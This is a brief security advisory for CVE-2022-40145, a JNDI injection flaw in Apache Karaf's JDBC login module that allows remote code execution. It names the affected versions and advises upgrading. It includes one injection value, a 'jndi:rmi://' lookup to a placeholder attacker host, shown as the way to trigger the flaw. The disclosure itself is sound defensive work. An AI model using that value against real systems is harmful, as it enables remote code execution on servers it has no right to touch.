CVE-2022-40145

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.<br /> <br /> The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource<br /> use InitialContext.lookup(jndiName) without filtering.<br /> An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.<br /> <br /> This is vulnerable to a remote code execution (RCE) attack when a<br /> configuration uses a JNDI LDAP data source URI when an attacker has<br /> control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.<br /> <br /> We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8